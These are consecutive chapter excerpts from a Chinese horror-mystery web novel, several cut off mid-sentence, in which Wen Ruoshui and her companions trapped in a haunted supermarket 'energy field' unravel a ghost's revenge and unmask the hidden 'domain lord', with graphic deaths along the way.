顾随之猛地一拍手道:“时间很紧,说不定是那人发现了我们在追踪ta,所以随便打开了一扇门想把一切嫁祸给别人,刚好那个人就是小柔?” “不排除这个可能。”温偌水淡声道。 “真恶毒啊!”季小柔猛地砸了下枕头,枕头里的棉絮纷纷扬扬地飘了起来。 温偌水一脸嫌弃地扇了扇,冷声道:“你再这样我就把你丢出去。” 季小柔瞬间乖如鸡仔,坐得笔直,生怕大魔头温偌水下一秒就把她这只羊送进虎口里。 “温温姐,你确定这个帮凶就是在我们这群人里吗?也许ta只是能量场里的npc呢?”顾随之问。 “如果是npc,ta为什么要避着我们?这对ta可没什么好处。”温偌水躺倒在床上,“不过话也不能说太绝对,先睡吧,下半夜应该不会再发生什么了。” 季小柔一脸不可思议道:“发生这么多事姐你还睡得着?还有,我的嫌疑就这么洗清了?” 温偌水将脸埋在枕头里,嗡着声音道:“那我现在就杀了你,一举两得。” 下一秒,顾随之根本没看清季小柔的动作,再眨眼时她已经如婴儿般甜美入眠了。 顾随之:“……晚安。” . 第二天一早,人们又不出所料地发现了两具尸体。第三次发现尸体的众人满脸都是麻木。他们熟视无睹地绕开尸体,径直向楼下的餐厅走去,只有胡权拦住了温偌水一行人。 “有发现。”胡权比了个手势,温偌水便跟着他进房聊天。 走在最后的顾随之刚关上房门,胡权就迫不及待地掏出了一个小型仪器,仪器只有巴掌心大,显示屏上有一串数字,最后标了个“+”的符号。 “这是什么?”季小柔一脸好奇地问。 “是信息素检测仪。”一旁的温偌水翘着二郎腿漫不经心道。 “我去,还有这种高科技?”季小柔惊叹不已。 胡权沉着声音说:“昨天和你们聊过之后我也发现了不对劲,根据你们的说法,晚上外头的动静那么大但我们却没有一个人听见,因此我怀疑是不是有人使用了异能。” “可是你说过人类进入能量场之后是不可以使用异能的啊?”顾随之道。 “嗯,大多数情况下是不可以使用的,但是有一种情况例外——这人获得了域主的允许。”胡权的一句话让在场所有人都陷入了沉思。 异能是储存于腺体之中的,一旦发动了异能必然会出现信息素外泄。胡权不愧是老手,在发现异常之后第一时间把怪象和异能联系在了一起,并且利用仪器证实了自己的猜想。 季小柔揉了揉脸,道:“你这么一说,我确实闻到了味道。”她想了想,“那味道淡得很,我还以为是枕头巾上残留的洗衣液味。” 她说到这,温偌水便发现顾随之的脸色变得有些古怪了起来,他轻声说:“我什么也没有闻到……” 温偌水想起来,顾随之很早就说过自己的腺体有缺陷,因此对于信息素的感知极低。而温偌水本人的腺体也有点问题,所以二人都忽视了这关键的一点。 “虽然不知道是谁发动了异能,但这人的能力估计和催眠有关,可以让人陷入沉睡无法轻易苏醒。”胡权道。 季小柔一脸恍然大悟:“怪不得我昨晚上突然醒了,原来是那个混蛋进了我屋给我解了异能!ta肯定是想嫁祸于我!” 胡权听了她的话,转头问温偌水:“你们昨晚又经历了什么?” 温偌水懒得复述,便由顾随之代劳,胡权听了他们昨晚的经历后眼睛瞪得和铜铃一般大:“你们真去试了?你们……牛。”他不知道说什么,比了个大拇指,“只能说是经历的能量场太少,有些无知者无畏了。” 不过他们运气还算好,一个晚上便证明了npc所说的禁令并不会触发死亡条件。 “那为什么会说这个禁令呢?”季小柔不解问。 “我是觉得,这个禁令也许不是域主提出的,而是npc自己提出的。”顾随之道。 “继续说。”温偌水道。 顾随之继续说道:“你们想想 10. 笑哈哈超市(八) 《劣等人类补全计划[无限]》全本免费阅读 吃完饭后胡权召集了众人开了一次会,将温偌水昨晚拿到的情报告诉了众人,但对于有帮凶且帮凶释放了异能一事只字未提。他不说其他几个知情人也就闭麦不谈,毕竟现在他们还不知道那个帮凶是谁,加之新的规则出现了,一旦他们挑起矛盾那无疑会变成枪靶子。 胡权讲述了一遍后便有人惊讶道:“禁令居然是假的?” “对,我们已经试验过了。”胡权道。 “那、那我们今晚要不要一起行动?人多力量大,说不定能找到那女鬼的藏身之处,把她的怨念解决了这能量场不就破解了吗?” 其他人早就受够了在房屋内惴惴不安地入睡,于是纷纷同意了集体行动这一计划。 散会时温偌水对顾随之说:“今晚注意一点。” 顾随之用眼神询问她为什么,温偌水道:“虽然其他人不会把矛头都指向我们,但那个帮凶肯定会,今晚集体行动ta肯定会浑水摸鱼。” 顾随之恍然大悟,用力点了点头。 定下计划后,众人明显振作了一些,他们在胡权的带领下开始制定今晚的计划。温偌水觉得没趣,便带着顾随之再度上楼去查看。 看到那扇熟悉的门时,顾随之有些惊讶:“温温姐你还要查看吴仁的房间啊?上次不是已经看过了吗?” 温偌水推门走入:“上次在衣柜里我看到了一些东西,来验证一下。”她快步走到衣柜前打开一看——除了一些男士衣物以外并无其他奇怪的物品。 温偌水皱起眉头。 “怎么了,你上次看到什么奇怪东西了?”顾随之半边身子探进来问。 上次温偌水和顾随之躲在衣柜里时,分明在角落里瞥到了一块碎花的布料,按理说那种图案是不应该出现在一个男人的衣柜里的。 但是现在什么也没有找到,温偌水不想再浪费时间,只是摇了摇头,和顾随之一起走了出去。 除了吴仁的房间外,其他几间未标明信息的房间全都上了锁,两人无法进入查看。 时间一分一秒地过去,很快就来到了晚上。 奇怪的是,今晚季小柔并没有再闻到微弱的信息素味,众人也没有再昏睡过去。 为此,季小柔在房间内大惊小怪了好一会:“那人就这么放弃了?” 温偌水淡声道:“昨晚有人试验禁令无效,自然也就意味着偷偷使用异能的事情早已败露,再装下去也无济于事。” “啊,姐姐你说的好有道理!你这脑子怎么长的,分我一点呗?”季小柔眨巴着眼睛蹲坐在地上崇拜地看向温偌水,却收获了一声叹息。 那声叹息像是一道丧钟,哀悼某人的智商已经没救了。 季小柔:“……” 温某人嘲讽技能拉得太满,轻轻一叹便破了季小柔的防,可怜的季小柔欲语还休,最后只能找顾随之哭诉,但顾随之也只是耸了耸肩,表示温偌水一视同仁,自己也爱莫能助。 距离九点还有一会,三人收拾了一下便前往了胡权的房间。他们是最后到达的,刚打开门便看见屋子里乌泱泱满是人。 “哟,终于来了?”胡权坐在自己的床上戏谑道,“还以为你们上厕所掉坑里了呢。” 温偌水没理他,找了个角落独自站着。顾随之和季小柔和众人简单打过招呼后便一左一右站在温偌水身边,活像两尊门神。 见人来齐了,胡权便收起了笑容,正色道:“虽然说人多力量大,但是能量场的危险可不能小觑,况且——”他抬眼扫视四周,最后话锋一转,“今天晚上的主要目的是找到女鬼的藏身之处,当然,我们还要查明双吴到底是利用什么附身于其他人的,以及被附身后是否有逃脱的可能性。” 经历了三次死亡,总共折损了六个人,现在还剩下十六人,胡权将这十六人分成了四个小组,分头进行不同的任务。 温偌水他们仨堪称连体婴,虽然温偌水很想单独行动,但顾随之死抓着她不放,季小柔又死抓着顾随之不放,因此胡权并不打算当拆散佳偶的王母娘娘,他调了另外一名叫王雨的男性beta加入他们队。 “你们的任务是找到女鬼的藏身之处。”胡权道。 温偌水漫不经心地点了点头,顾随之和季小柔也没有什么意见,但是王雨显然有些害怕:“这多危险啊?要是直接和女鬼撞上了怎么办?”他看了看身边的三人,不放心道,“这三个人里两个omega,还有一个……废物alpha,遇到女鬼我们肯定直接玩完啊!” 胡权闻言,冲着温偌水挑眉,似乎在惊讶有人居然会看不起这队人,但很快他便正色道:“其他任务也同样艰险,都有死亡的风险。” 王雨没再辩驳,只是一脸不爽地站在距离温偌水三人一米开外的地方。 等胡权吩咐好任务后,众人便四散开去,躲藏在超市的各个角落里待命。 温偌水嫌蹲着累,便径直回到了自己房间,倒头躺在床上就睡,睡之前还和顾随之说:“听音辨位的任务就交给你了。” 王雨一看她那大爷样,气不打一处来,开口准备骂几句,但没想到被人使唤的顾随之超级贴心地为温偌水盖上了毛毯,还一脸兴奋道:“放心吧温温姐,保证完成任务!” 王雨:“……”他准备转头和季小柔吐槽,可下一秒却看见季小柔对着顾随之做了个噤声的手势,并小声说:“你声音小点,不要吵到姐姐休息!”顾随之闻言立马捂住了嘴。 王雨:“……” 就在他抓狂时,外头传来了脚步声。 顾随之立马正色起来,走到门边凝神倾听。 “听到什么了?”温偌水闭着眼睛问。 “脚步一深一浅,腿有疾,是吴顺财。”顾随之道。 他们在进入能量场的第一天,温偌水便发现了吴顺财走路时的异样,后来她将此事告诉了顾随之,让他以后听脚步声的时候注意区分。 “有小队跟上去了。”顾随之又道。 总共四个小队,温偌水他们是第三小队,负责追查女鬼的藏身之处。由胡权率领的第一小队负责查找双吴附身的秘密,另外两个小队一队跟踪一个npc。 “我们要跟出去吗?”顾随之问。 温偌水摇了摇头:“人太多了,容易被发现。”说罢,她又继续睡去。 过了约莫五分钟,就在顾随之以为外头一切正常时,他突然听到了一声压抑的尖叫—— “你、你怎么了?你别随便乱跑啊——喂!” 顾随之瞳孔猛缩,他转过头刚想叫温偌水,就见人已经醒了,正站在他身后。 那双无悲无喜的眼睛中闪烁着如同猎手般狡黠的光,把顾随之震慑住了,不由退后了半步。 “走。”温偌水推开门,带着三人探了出去,不远处爆发出尖锐的惨叫声,其中夹杂着几声低吼,温偌水一听就知道那是女鬼的声音。 “方位。” 顾随之凝神:“在吴仁房间的前面……拐角的位置。” 拐角…… 温偌水想起了第一天他们看到的那具女性尸体,找到她时她正依靠着一间拐角处的房门。 惨叫声愈演愈烈,胡权带着第一小队匆忙赶到:“怎么回事?” “被附身了。”温偌水从消防栓里拔出消防斧,面色沉静,“得去那边查一下有没有媒介物。” 胡权点了点头,掏出随身携带的刀,领着人往前走去。 狭长的走廊里只能听见几人短促的呼吸声,尖叫声没一会后远处只听得到钝器劈砍血骨的咔嚓声。 温偌水和胡权交换了个眼神——明眼人都知道那名被附身的人已经凶多吉少了。 “做好战斗准备。”胡权低声道,随后率先冲了出去。 绕过拐角,走廊稍微空旷了些,地上只剩下一滩血迹和一具破破烂烂的尸骨,女鬼却不见踪影。跟踪吴顺财的第二小队的幸存者们面色惨白地躲在拐角的杂物堆后面,瑟瑟发抖。 “媒介物呢?”胡权一个翻身跟着躲到了杂物堆后,抓住第二小队的一个人问道。 那人颤颤巍巍地伸出一根手指,指了指对面门上贴着的东西,胡权定睛一看,只见门上贴着两张年画娃娃,其中一个年画娃娃的五官已经消失得无影无踪,只留下渗人的白色脸皮。 “我、我看到那个年画娃娃的眼睛突然动了,然后、然后那个人身体就发生了异样……”那人抱着头说,“这根本躲不过啊……异变来得也太突然了,躲不过啊……” 胡权咽了口口 11. 笑哈哈超市(九) 《劣等人类补全计划[无限]》全本免费阅读 血字的突然变化让人头皮发麻,顾随之默默捏紧了拳头,挡在了温偌水身前。 但是温偌水并不是手无缚鸡之力的柔弱少女,这种恐怖片里的经典桥段对于她来说堪称小儿科。她伸手推开窗户,发现了一道狭窄的缺口。 窗户上安装着防盗栏杆,但是这块的铁栏杆却像是被人为撬动过一样,歪向一边。 温偌水挑了下眉,语气中难得带了些起伏:“找到了。” 踏破铁鞋无觅处,得来全不费工夫。 顾随之看着那窄小的缺口,犹豫道:“这个口太小了,我没法陪你一起进去……” “那就我一个人进去。”温偌水透过窗户往里看,发现里头是个违规加建出来的小房间,阴暗逼仄得很,看上去也完全不像是能挤下两个人的样子。 “可是里面很脏,有排泄物的臭味……”顾随之蹭了蹭鼻子说。 此话一出,温偌水肉眼可见地顿了一下,但也只是一瞬间。她叹了口气,喃喃道:“希望能早点完工回去洗澡睡觉。” 说完,温偌水便钻过了狭窄的缺口,进入到屋内。 缺口实在狭小,弯折的铁栏杆隔着衣服磨得皮肤生疼。艰难穿过缺口后屋内并没有迎来豁然开朗,小小的房间不到三平米,没有灯没有窗户,天花板低得甚至都不够一个成年人直起身子,温偌水想起那女鬼前折的腰身,心想多半和这压得太低的天花板有关。 房间的水泥地上满是污秽,温偌水闻到了浓烈的排泄物发酵后产生的氨气味,那味道直冲天灵盖,让人头晕目眩。她只能捏着鼻子,半蹲着往前挪动,地上糊着一层厚厚的类似血浆的东西,十分黏腻,尽数粘附在了脚底,让人觉得恶心。 整间屋子内,只有那张矮床看起来干净点,但是也并没有好到哪去。白色的床单发黄发黑,上头还散发着恶臭的经血味。在床角的地上温偌水找到了几张已经用过的蜷曲一团的卫生巾,这几张卫生巾的存在再度证实了此前温偌水的猜测。 尽管有些不情愿,但一直半蹲着很是难受,温偌水犹豫再三后还是爬上了那张床,刚爬上去,床便是一震,向一角塌下去。温偌水刚坐稳身子,就发现床缺了一只脚。 但她还没来得及细想床为何会缺一只脚,从枕头套里摔落的东西便吸引了她的注意。 那是几张画,四角皆已卷边,但是都被人很耐心地抚平,上头只留下深深的折痕。画上笔触很是稚嫩,线条并不流畅,填色也都出了线。整幅画都是用油画棒画成的,微微有些掉渣,看上去是小孩子画的。 温偌水觉得有些无聊,刚准备放下画时却目光一凛——压在最下面的一张画画面最为整洁干净,看起来被人保存得很好,画上有一大一小两个人,大人留着一头漆黑的长发,脸上挂着温柔的微笑,小孩扎着两个羊角辫,身上穿着一条碎花裙子。 ——碎花裙子! 温偌水搜刮着脑子中的画面,最后确定了那天晚上她在吴仁衣柜里看到的碎花图案和画上小女孩穿着的碎花裙子图案一模一样! 温偌水瞪大双眼,意识到他们漏掉了一个关键人物——画中的小女孩! 可是除了吴仁房间衣柜里仅出现过一次的碎花裙子以外,他们再也没有找到过任何和小女孩有关的线索,这小女孩究竟被藏在哪了? 温偌水蹙起眉头,将这几天在能量场里找到的所有线索又重新串联了一遍,忽然,脑子里蹦出一个不可思议的想法。 女鬼为什么要追杀双吴呢?难不成是为了给孩子报仇吗? 温偌水环顾这个小小的房间,尽管这里光线暗淡,但是能看出生活很久的痕迹。她又想起了厨房里看到的那只狗盆,万分确定那就是双吴用来羞辱女鬼的东西之一。 恶臭的经血是疑似感染了生.殖.腔疾病,前折的身躯也是因为长期被囚.禁在矮小的房间里,这个女人忍受了这么久的身体上和精神上的双重折磨,为何会在5月21日当晚突然爆发? 消失的女儿,发疯的母亲,残暴的父亲,助纣为虐的祖父……一切人物都被串联起来,真相也逐渐浮出水面。 温偌水按着自己的太阳穴,像是感觉到了什么突然抬起头来,在她眼前,一个女人的身影从天花板上垂了下来,她只能看清那人的下半身,上半身是一团雾,看不真切。 女人双脚腾空,像是被绳子高高吊起一样,白得发青的双脚飘飘晃晃。 突然,一声“啪叽”声响起,温偌水连忙转过头去,只见黑暗中站着一个小女孩,她的脸被一团浓重的黑雾挡住,温偌水看不清她的脸,但又觉得她很是熟悉,似乎在哪见过。 小女孩一步一步走向悬在空中的女人,轻轻喊了声“妈妈”。 空气里安静得很,没有人回应她。 就在温偌水以为小女孩下一秒要大声尖叫崩溃痛哭时,小女孩歪了下头,语气十分平静地问:“妈妈,你为什么在笑啊?” . “……姐姐……” “温温姐!” 温偌水突然醒过神来,茫然地看向窗口。 顾随之探进来半张脸,有些急迫道:“我听到电视机播报频道四的声音了,女鬼杀完吴仁就会回到这个房间,我们得赶紧离开这!” 每次女鬼夜晚行凶时,顾随之都能听到楼下电视机里的频道音,根据递减的数字,温偌水推测这可能是死亡倒计时,如果在频道数清零时他们还没能解决这个场,那大概率所有人都会死在这里。 而每天女鬼杀完人后,第二天时间线会回溯到5月21日这天,所以温偌水又猜测女鬼杀完人后时间会重置,女鬼会回到藏身之处。 他们陷入了一个恐怖的循环内,终止循环的方法只有两个,一个是他们进入能量场的人尽数死亡,一个是找到域主,解决ta的怨念。 现在时间就要被重置,女鬼就快要回到这里了,顾随之却看着温偌水目光无神地陷入沉思,只能大声叫醒了她。 回过神来的温偌水又恢复了往日的雷厉风行,她将画作重新塞回了枕头套里,随后再度穿过了铁栏杆,从里头爬了出来。 “走。”一声令下,两人火速离开了杂物间。在离开屋子的时候,温偌水回头看了一眼,墙上黄符纸上的“哭”字进一步融化,直接变成了“杀”。 . “怎么样?”温偌水看着满地狼藉,扭头问坐倒在地的胡权。 胡权叹了口气道:“没防住,还是死了。” 温偌水看着地上被砍了好几刀的尸体,表示并不意外。 “这人是被食品包装袋上的眼睛看到的,啧,防不胜防。”胡权抹了把脸,站起身来。 “会死的……我们会死的……”王雨蜷缩在角落里瑟瑟发抖道,他突然抬起头,恶狠狠地看向温偌水,“你们去哪了?我们在辛苦奋战的时候你们躲到哪去了?!” 这句质问引起了其他人的注意,瘫坐在地的人们纷纷侧目,看向温偌水的眼神中带着冷冷的戒备。 温偌水没有理会他的质问,扭过头去问胡权:“你们之前遇到的域主都是什么样的?” 胡权想了想,说:“几乎都是npc,他们给出指令,我们完成,就这样。” “解决完能量场后,域主会怎样?” “跟着场消失吧,反正我没再在现实生活里看到过他们。” 温偌水轻轻点头,随后转身离开。她离开后,众人也都精疲力尽地陆续回到了自己的住处,经历了数次死亡后,所有人都变得麻木了起来,他们失去了表情,宛若行尸走肉。 回到房里,季小柔就双腿一软,直直瘫坐在地,嘴里嘟囔道:“吓死我了……” “闺女别怕,你这不是全须全尾地好好活着嘛。”顾随之安慰道。 季小柔刚想抬头说几句,突然瞥到了顾随之的脸,惊叫一声:“义父!你如花似玉的小脸蛋子怎么受伤了!” 闻言,准备洗澡睡觉的温偌水也施舍了一丝目光过来,只见顾随之的下巴上赫然出现了一道长长的血痕,一路延伸至颧骨处。伤口不知是什么时候弄的,还没有愈合,血液顺着脸颊淌了一路,弄脏了衣襟。 季小柔不说的时候顾随之还没有感受到疼痛,一说抹一手血,伤口便矫情地开始疼了。 “这伤口也太吓人了!”季小柔皱着眉头道,“义父你给自己的脸蛋买过保险吗?” 看她的表情不像是在开玩笑,顾随之忍俊不禁:“怎么会有人给自己脸蛋买保险啊。” 季小柔严肃道:“你的脸蛋值得一个保险,等我有幸从这个该死的场出去之后一定给你脸蛋上个保险。” 顾随之:“那真是谢谢你了啊。” 插科打诨之间,温偌水注意到顾随之肩膀的伤口也迸裂了,血色从那可笑的蝴蝶结绷带下显露出来。她叹了口气,打开房门向一楼走去。 顾随之忙问:“这么晚了你去 12. 笑哈哈超市(十) 《劣等人类补全计划[无限]》全本免费阅读 “我已经十六岁了!”季小柔反驳道。 “看起来不还像个小孩似的吗?”胡权脸上挂着慈父般的微笑,甚至没忍住伸手揉了揉季小柔的头。 今天追逐战时,季小柔因为被人撞了好几次于是又跌进了女鬼的视线中,可女鬼依旧没动她,后来被胡权救走之后季小柔还有些恍惚,没反应过来自己又脱离虎口一次。 “今天女鬼追杀了很多人,但唯独没有碰过omega。”胡权盖棺定论,“这其中说不定有什么联系。” 他话音刚落,温偌水便摇了摇头:“也许和这个无关。” “为什么?” “第一天死的人里,有omega。”经她这么一提醒,胡权想起来第一天被众人略过的第二具尸体,季小柔和顾随之也想起了自己曾看到的惨相。 “而且,女鬼曾经也把我当做追杀目标。”温偌水双手抱臂,神色淡然,“那个棉花娃娃是冲着我来的。” 她一提这事,顾随之的脸色便沉了下来。 “那今天她的行为不是很奇怪?”胡权搓了搓下巴,“她今天真的没追过任何一个omega。” “话说,我们不是要注意那个帮凶嘛,我今天看到王雨那个死人故意拽倒了义父,难不成他就是那个帮凶?”季小柔问。 温偌水摇了摇头:“不是他,他只是单纯的坏而已。” 她一晚上否定了太多次,这让原本以为事件有所进展的胡权和季小柔犯了难,两人叽叽咕咕讨论了许久,显得一旁的温偌水更加安静。 温偌水咬着手指甲,在快要将手指咬出血时突然想到了什么。她抬起头,打断了胡权和季小柔的讨论:“帮凶应该是个女性,而且这人我们应该很熟悉。” “什么?”胡权霎时来了兴趣。 “我们乘坐的地铁和普通地铁有什么不同吗?”温偌水问胡权。 “除了用途不一样以外内外构造都是差不多的。” “一节车厢内总共有20个座位,外加一个老幼孕妇的专座,总共21个座位,但是我们进入场之后却出现了第22个人。” 此语一出,在座皆是震惊。 在地铁行驶途中,有一段时间内所有人都坐在自己的座位上,只有顾随之站着,因此车厢内只空出过一个座位。 胡权咽了口口水:“你是说,那第22个人是后来才进来的,可是这和女人有什么关系……” 他话说到一半,自己先愣住了——一个满身是血,披头散发的女人的身影出现在他的脑海内! “是那个女人!”胡权猛地站起身来,“她根本没有逃走,而是混到了我们当中!” “她从始到终都是能量场里的人!怪不得能狠下心来帮着女鬼杀人呢!”季小柔附和道,“所以她也能使用异能!” “可是进入场的女性很多,一一排查很难,而且当时地铁上实在是太混乱了,我们根本无法记住谁是一开始就在的,谁是后来来的。”顾随之皱着眉头道。 “关键点就在这里,我们怎么找到那个女人。”温偌水道。 其他三人陷入了沉思,如今自相残杀成立,一旦冒然指出某人具有嫌疑将会扰乱所有人的视线,如果搞错了就会被真正的帮凶加以利用。 “好一个狼人杀。”温偌水轻笑一声。 “我怎么感觉你一点都不紧张,反而有些乐在其中?”胡权无奈地耸肩。 温偌水并没有否认胡权的说法。 安静了几秒后,温偌水决定先把她现在了解到的信息分享一遍,有了信息之后猜测嫌疑人或许会更方便些。 “已知双吴为父子俩,吴仁有个妻子,不知道什么原因二人感情破裂,吴仁将妻子囚.禁在违规建筑的小房间内,他妻子应该在那里度过了相当长的一段岁月。” “嗯,这些我们都差不多了解了。” “二人育有一女。” 闻言,先前还在说“都知道”的胡权愣住了:“你怎么知道的?” 温偌水就将自己在吴仁衣柜里看到的碎花裙子以及在女鬼房间里看到的画复述了一遍。 “女儿的衣服怎么会出现在父亲的衣柜里?”季小柔生理不适地搓着肩膀,“感觉有点恶心……” “怎么一说,女鬼发疯要杀双吴会不会就和女儿的遭遇有关?”顾随之的脸色也不太好。 温偌水想起了在吴仁的枕头上看到的柔软的长发,轻轻点头:“应该是这样。” “简直就是畜生!”季小柔站起身来破口大骂,“要是我是当妈的我也要宰了这两个畜生!” 温偌水淡淡看了她一眼,没说什么。 “那那个女儿现在在哪呢?除了碎花裙以外能量场里就没有关于她的有效信息了啊。”顾随之问。 “在这个能量场里上演的是十年前的故事。”温偌水想起了货架上的保质日期,“如果那个女儿还活着,现在应该二十多岁了。” 胡权搓了搓下巴:“难不成那个满脸是血的女人就是活下来的女儿?” “有可能。” “那域主的怨念到底是什么?杀死双吴吗?”季小柔问,“可是双吴每次都很狡猾地附身在别人身上……难不成我们的任务就是限制他们的逃窜,然后让女鬼杀死他们?” 温偌水目视前方,微微有些出神,过了会她才轻声道:“试试看。” “怎么试?媒介物多得很,那两个npc狡猾得和泥鳅似的。”胡权叹了口气,用力按了按太阳穴。 温偌水看向顾随之,说:“把你安眠药借我用用。” 顾随之:“?” 经历了几天,温偌水大概摸透了能量场的逻辑——虽然场内有诸多怪力乱神,但是其必摆脱不了现实的规则。女鬼需要吃饭,双吴需要吃饭,他们的身体构造都与正常人类没什么两样。 因此温偌水想赌一把。 . “咚——咚——” 两声过后,双吴双双倒在桌上,睡得不省人事。 “嘶……你这药效果真好啊。”胡权搓了搓下巴道。 顾随之挠了挠头,不好意思道:“我体内产生了耐药性,所以这药是特制的。” 在众人惊诧的目光中,温偌水淡定离席,回到了自己的房间。 今天是个平安夜。 “计划失败了。”温偌水看到再度出现在面前的双吴,淡淡说道。 npc照常出现,能量场并未消退,他们的猜测出现了问题。 “域主的怨念到底是什么啊啊啊啊!”季小柔崩溃挠头。 “虽然没能解决怨念,但是昨天是个平安夜啊。”那个名叫常珊的女人说道,“那只要我们一直放安眠药不就不会出现伤亡吗?” 温偌水瞥了她一眼,说:“能量场不会让你一直耗下去的,昨天是倒数第三天,要是后天还没能解决这个场,我们都得玩完。” 其他人一听瞬间慌了,一人吓得直接跪坐在地,嘴里念念有词:“我们都会死……没有出路的,我们都会死!” 说完,压抑在心头数天的恐惧终于爆发,那人癫狂地笑了起来,冲进了厨房,用砧板上的斩骨刀一刀一刀将自己活活劈死。 鲜血从动脉里喷射出来,溅得满厨房都是,有一些甚至溅到了天花板上,在温热的尸体倒下后,那血便淅淅沥沥地从天花板坠落,仿佛下了一场艳靡的血雨。 死一般的寂静在人群中蔓延,他们瞪大眼睛,看着那满世界的红,口干舌燥,身体像是被冰封了一样无法动弹。 . “该死的!问题到底出在哪了?”在倒数第二天,所有人都绝望了,他们试了各种方法,甚至有人亲自刺杀了双吴,但依旧没能解决能量场。 倒数第二天的夜里大多数人都放弃了希望,尽管温偌水再度在双吴的饭碗里下了安眠药来保证众人的平安,但还是有人没能捱过这个该死的夜晚。 在最后一天的清晨,温偌水一行人在超市门口发现了两具尸体,那是一对情侣,他们十指交握,活活撞死在了超市的大门口。 超市的玻璃门上满是干涸的血渍,还有一些绝望的泪迹。 “我们会死吧……”王雨有气无力地说道。 “这就放弃了?”温偌水挑眉。 王雨闻言,气得从地上跳起来,指着温偌水的鼻子破口大骂:“那个帮凶一定是你!” “你瞎说什么!”顾随之皱起眉来。 王雨脸上露出狰狞的笑:“每次第一个发现线索的人就是你,鬼知道你是怎么发现那些线索的?说不定就是女鬼和你串通好的,你放出线索只是为了打消我们对你的怀疑!” “你有什么证据?”顾随之挡在温偌水身前,怒目直视王雨。 尽管他比王雨高了半个头,但王雨丝毫不感到害怕,在他眼里,顾随之不过是个花架子娘娘腔,于是他戏谑道:“她说她是第一次进能量场,鬼才信!她从来不感到害怕,永远都是一张臭脸!哦,我还想起来了,每次看到尸体的时候她都会露出兴奋的神情!” 季小柔刚想帮着顾随之一起反驳,但听到这句话时还是愣了一下,她回想起第二天看到尸体的温偌水脸上露出的微笑,心中竟产生了一丝涟漪。 “我看通关的关键 13. 笑哈哈超市(十一) 《劣等人类补全计划[无限]》全本免费阅读 “找到了。” “找到什么了?”胡权满脸问号。 “我找到域主是谁了。” “啊?域主不是那个女鬼吗?”季小柔丈二和尚摸不着头脑。 温偌水摇了摇头:“我们从一开始就搞混了,域主不是女鬼,而是我们之前见到的那个女人,也就是女鬼的女儿。” 胡权反应了一会,突然一拍大腿:“你说得对啊!我真是糊涂了,怎么就忘了这茬呢?” 季小柔也叽叽喳喳道:“那家伙把自己存在的证明都藏起来了,还搞了个帮凶身份混淆视听,不然我们早就能发现她的存在了!” 顾随之:“卑鄙!” 季小柔:“无耻!” 眼看着两人又要一唱一和,温偌水赶忙打住了他俩:“我现在基本锁定了域主是谁,但是想要抓住她还需要大家配合一下。” 几人瞬间安静下来,洗耳恭听。 “域主一旦陷入危险必然会呼唤女鬼,在场的加持下女鬼很强,我们是抵抗不了太久的,所以要想办法把女鬼支开。” “怎么支开?” 温偌水看向季小柔:“第一次遇到女鬼的时候,她放过你了吧?” 季小柔点了点头:“嗯,所以?” “你想想看她为何会放过你?” 季小柔又摇了摇头:“我运气太好了?” 温偌水蹙了下眉头,眼神似乎在说:你说话前是不是从不动脑子? 季小柔看懂了温偌水的眼神,又羞又臊地对了对手指:“我真不知道啊……” 一旁的顾随之沉默了几秒,不确定道:“因为小柔叫了‘妈妈’?” 温偌水扬了扬下巴,示意他继续说下去。 “现在我们已经知道了女鬼有女儿,她俩还是合作关系,女儿潜藏在我们当中当接应,那就意味着女鬼要在下手前确定她的目标不能是自己的女儿。” “她看不出来吗?多好认啊,我们都长得不一样。”季小柔嘟着嘴道。 “女鬼的藏身处很昏暗,长时间在那样的环境下生存估计视力也已经退化得差不多了。” 经他这么一说,季小柔想起上次自己被女鬼扑倒时,她曾凑近了自己的脸并撩起头发仔细观察。 “所以你想找个诱饵?”胡权抵着下巴问温偌水。 温偌水点了点头,视线又落到了季小柔身上:“最佳人选,靠你了。” 季小柔虎躯一震:“啊?为啥是我啊?我长得这么娇小,根本不像成年人吧!” 温偌水叹了口气:“这个场中npc的时间线都在十年前,那时候域主还是个小孩。” 所以即便女鬼会和成年体的域主合作,但心底依旧会烙印着一个幼小的身影。 季小柔听了这话,不知为何心里有些不是滋味,她莫名觉得女鬼很可怜。沉默几秒后她咬着嘴唇点了点头,又问:“所以域主到底是谁呢?” 温偌水眯起眼睛,饶有兴致道:“常珊啊。” . “找到了。” 鬼魅般的声音蓦然从头顶上方传来,常珊吓了一跳,下意识释放出了自己的异能。 身边的女伴受到信息素的影响,软软瘫倒,被另一只手扶住,轻轻放在了地上。 温偌水嘴角一扬:“你早该知道的,信息素对我们没用。” 常珊的异能比较独特,她异能的媒介是自己的信息素,只有接收到信息素的人才会受到她异能的影响。而温偌水和顾随之二人都腺体有缺,无法释放信息素,也无法感知他人的信息素,因此像常珊这种特殊的异能就对他俩无效。 常珊身躯一震,眼中流淌着诧异:“你们怎么发现是我的?” 温偌水挑了挑眉,像盯着猎物一样看向常珊:“一开始没有察觉到,但你暴露得实在是太多了。” . “她暴露了什么?”季小柔感觉自己和温偌水待的不是同一个能量场,怎么温偌水什么都知道,自己什么都不知道? “第一天的死者中有一个是她的舍友。” “这也许是巧合呢?” 温偌水并没有就着这个继续说下去,而是列举其他信息:“她今天说的话也有一定的矛盾,一开始说用安眠药便可以无期限拖住npc,但后来又提到了‘最后我们都会和能量场一起消失’。” 她扭头转向胡权:“‘倒计时结束,参与者会跟随能量场一起覆灭’这个规则你告诉过我们之外的人吗?” 胡权沉着脸摇了摇头:“没有。” 温偌水冷笑一声:“那她怎么会知道的?” “不是姐姐你说的吗?”季小柔挠了挠头,“不是你说的最后一天还没有解决场我们都得玩完……” 温偌水看向季小柔,目光如炬:“对,但我说的只是‘我们会玩完’,而‘和能量场一起消失’可和我说的不是一个概念。” 闻言,鸡皮疙瘩瞬间爬满了季小柔的全身。 “她其实心思很缜密,这句话应该是她太心急才说快了的。”顾随之道,他眼睛瞥向温偌水,“当时王雨正好在怀疑温温姐,所以她想借此机会将矛头指向温温姐。” “还真是多亏王雨。”温偌水嗤笑一声,“那家伙的眼神也暴露了一切。”当时王雨被戳穿,眼神乱瞟时正好被温偌水敏锐地捕捉到了。 “仔细想想,其实常珊的疑点很多——是她引导npc说出了三条禁令,并在出现死者之后引导我们将禁令与死亡条件联系起来。”胡权也跟着一起分析道。 “所以第一天杀死舍友估计是因为那人知道了些什么不该知道的。”顾随之解答了季小柔一开始的问题,“杀了舍友,她后面的行动会更自由些。” “……让我们遵守禁令对她有什么好处啊?”季小柔噘着嘴问,语句中带着些茫然、不理解、无奈与愤怒,“她在十年前经历了那样的事情,恨的不应该是双吴吗?那只要杀死双吴不就可以解决她的心结,为什么还要一遍又一遍地折磨我们呢?” 